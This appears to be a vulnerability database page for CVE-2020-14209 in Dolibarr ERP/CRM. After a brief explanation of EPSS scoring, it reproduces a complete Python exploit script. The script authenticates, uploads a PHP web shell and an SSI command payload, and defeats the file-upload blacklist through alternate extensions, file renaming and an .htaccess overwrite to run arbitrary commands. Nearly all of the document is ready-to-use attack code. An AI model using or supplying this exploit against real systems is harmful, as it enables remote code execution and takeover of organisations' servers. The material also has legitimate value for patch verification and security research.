CVE-2020-14209 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

# Exploit Title: Dolibarr ERP/CRM 11.0.4 - File Upload Restrictions Bypass (Authenticated RCE) # Date: 16/06/2020 # Exploit Author: Andrea Gonzalez # Vendor Homepage: https://www.dolibarr.org/ # Software Link: https://github.com/Dolibarr/dolibarr # Version: Prior to 11.0.5 # Tested on: Debian 9.12 # CVE : CVE-2020-14209 #!/usr/bin/python3 # Choose between 3 types of exploitation: extension-bypass, file-renaming or htaccess. If no option is selected, all 3 methods are tested. import re import sys import random import string import argparse import requests import urllib.parse from urllib.parse import urlparse session = requests.Session() base_url = "http://127.0.0.1/htdocs/" documents_url = "http://127.0.0.1/documents/" proxies = {} user_id = -1 class bcolors: BOLD = '\033[1m' HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' def printc(s, color): print(f"{color}{s}{bcolors.ENDC}") def read_args(): parser = argparse.ArgumentParser(description='Dolibarr exploit - Choose one or more methods (extension-bypass, htaccess, file-renaming). If no method is chosen, every method is tested.') parser.add_argument('base_url', metavar='base_url', help='Dolibarr base URL.') parser.add_argument('-d', '--documents-url', dest='durl', help='URL where uploaded documents are stored (default is base_url/../documents/).') parser.add_argument('-c', '--command', dest='cmd', default="id", help='Command to execute (default "id").') parser.add_argument('-x', '--proxy', dest='proxy', help='Proxy to be used.') parser.add_argument('--extension-bypass', dest='fbypass', action='store_true', default=False, help='Files with executable extensions are uploaded trying to bypass the file extension blacklist.') parser.add_argument('--file-renaming', dest='frenaming', action='store_true', default=False, help='A PHP script is uploaded and .php extension is added using file renaming function.') parser.add_argument('--htaccess', dest='htaccess', action='store_true', default=False, help='Apache .htaccess file is uploaded so files with .noexe extension can be executed as a PHP script.') required = parser.add_argument_group('required named arguments') required.add_argument('-u', '--user', help='Username', required=True) required.add_argument('-p', '--password', help='Password', required=True) return parser.parse_args() def error(s, end=False): printc(s, bcolors.HEADER) if end: sys.exit(1) """ Returns user id """ def login(user, password): data = { "actionlogin": "login", "loginfunction": "loginfunction", "username": user, "password": password } login_url = urllib.parse.urljoin(base_url, "index.php") r = session.post(login_url, data=data, proxies=proxies) try: regex = re.compile(r"user/card.php\?id=(\d+)") match = regex.search(r.text) return int(match.group(1)) except Exception as e: #error(e) return -1 def upload(filename, payload): files = { "userfile": (filename, payload), } data = { "sendit": "Send file" } headers = { "Referer": base_url } upload_url = urllib.parse.urljoin(base_url, "user/document.php?id=%d" % user_id) session.post(upload_url, files=files, headers=headers, data=data, proxies=proxies) def delete(filename): data = { "action": "confirm_deletefile", "confirm": "yes", "urlfile": filename } headers = { "Referer": base_url } delete_url = urllib.parse.urljoin(base_url, "user/document.php?id=%d" % user_id) session.post(delete_url, headers=headers, data=data, proxies=proxies) def rename(filename, new_filename): data = { "action": "renamefile", "modulepart": "user", "renamefilefrom": filename, "renamefileto": new_filename, "renamefilesave": "Save" } headers = { "Referer": base_url } rename_url = urllib.parse.urljoin(base_url, "user/document.php?id=%d" % user_id) session.post(rename_url, headers=headers, data=data, proxies=proxies) def test_payload(filename, payload, query, headers={}): file_url = urllib.parse.urljoin(documents_url, "users/%d/%s?%s" % (user_id, filename, query)) r = session.get(file_url, headers=headers, proxies=proxies) if r.status_code != 200: error("Error %d %s" % (r.status_code, file_url)) elif payload in r.text: error("Non-executable %s" % file_url) else: printc("Payload was successful! %s\nOutput: %s" % (file_url, r.text.strip()), bcolors.OKGREEN) return True return False def get_random_filename(): return ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8)) def upload_executable_file_php(payload, query): php_extensions = [".php", ".pht", ".phpt", ".phar", ".phtml", ".php3", ".php4", ".php5", ".php6", ".php7"] random_filename = get_random_filename() b = False for extension in php_extensions: filename = random_filename + extension upload(filename, payload) if test_payload(filename, payload, query): b = True return b def upload_executable_file_ssi(payload, command): filename = get_random_filename() + ".shtml" upload(filename, payload) return test_payload(filename, payload, '', headers={'ACCEPT': command}) def upload_and_rename_file(payload, query): filename = get_random_filename() + ".php" upload(filename, payload) rename(filename + ".noexe", filename) return test_payload(filename, payload, query) def upload_htaccess(payload, query): filename = get_random_filename() + ".noexe" upload(filename, payload) filename_ht = get_random_filename() + ".htaccess" upload(filename_ht, "AddType application/x-httpd-php .noexe\nAddHandler application/x-httpd-php .noexe\nOrder deny,allow\nAllow from all\n") delete(".htaccess") rename(filename_ht, ".htaccess") return test_payload(filename, payload, query) if __name__ == "__main__": args = read_args() base_url = args.base_url if args.base_url[-1] == '/' else args.base_url + '/' documents_url = args.durl if args.durl else urllib.parse.urljoin(base_url, "../documents/") documents_url = documents_url if documents_url[-1] == '/' else documents_url + '/' user = args.user password = args.password payload = "<?php system($_GET['cmd']) ?>" payload_ssi = '<!--#exec cmd="$HTTP_ACCEPT" -->' command = args.cmd query = "cmd=%s" % command if args.proxy: proxies = {"http": args.proxy, "https": args.proxy} user_id = login(user, password) if user_id < 0: error("Login error", True) printc("Successful login, user id found: %d" % user_id, bcolors.OKGREEN) print('-' * 30) if not args.fbypass and not args.frenaming and not args.htaccess: args.fbypass = args.frenaming = args.htaccess = True if args.fbypass: printc("Trying extension-bypass method\n", bcolors.BOLD) b = upload_executable_file_php(payload, query) b = upload_executable_file_ssi(payload_ssi, command) or b if b: printc("\nextension-bypass was successful", bcolors.OKBLUE) else: printc("\nextension-bypass was not successful", bcolors.WARNING) print('-' * 30) if args.frenaming: printc("Trying file-renaming method\n", bcolors.BOLD) if upload_and_rename_file(payload, query): printc("\nfile-renaming was successful", bcolors.OKBLUE) else: printc("\nfile-renaming was not successful", bcolors.WARNING) print('-' * 30) if args.htaccess: printc("Trying htaccess method\n", bcolors.BOLD) if upload_htaccess(payload, query): printc("\nhtaccess was successful", bcolors.OKBLUE) else: printc("\nhtaccess was not successful", bcolors.WARNING) print('-' * 30)